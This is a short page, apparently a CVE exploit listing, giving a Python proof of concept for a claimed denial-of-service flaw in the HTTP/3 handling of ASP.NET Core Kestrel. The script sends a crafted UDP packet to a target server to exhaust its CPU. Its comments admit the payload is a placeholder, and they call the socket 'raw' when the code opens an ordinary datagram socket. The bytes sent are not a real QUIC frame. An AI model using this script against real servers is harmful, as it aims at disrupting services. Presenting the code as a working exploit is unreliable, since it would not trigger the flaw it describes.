CVE-2026-25667 ASP.NET Core Kestrel 拒绝服务漏洞

import socket import struct # Proof of Concept for CVE-2026-25667 # This script sends a crafted QUIC packet to trigger the excessive CPU consumption. # Note: Actual exploitation requires specific packet structure based on the HTTP/3 flaw. def send_exploit_packet(target_ip, target_port): # Create a raw socket (requires root/admin privileges) try: # UDP is used for QUIC sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Crafted malicious payload placeholder # The specific bytes would target the incorrect exit condition in the Encoder/Decoder stream # This is a simplified representation of a malformed HTTP/3 stream frame malicious_header = bytes.fromhex("cafe") crafted_stream_data = bytes.fromhex("41") * 100 # Example payload causing loop payload = malicious_header + crafted_stream_data print(f"[+] Sending crafted packet to {target_ip}:{target_port}") sock.sendto(payload, (target_ip, target_port)) print("[+] Packet sent. Monitor target CPU usage.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": TARGET_IP = "127.0.0.1" # Replace with vulnerable server IP TARGET_PORT = 443 # Default HTTPS/QUIC port send_exploit_packet(TARGET_IP, TARGET_PORT)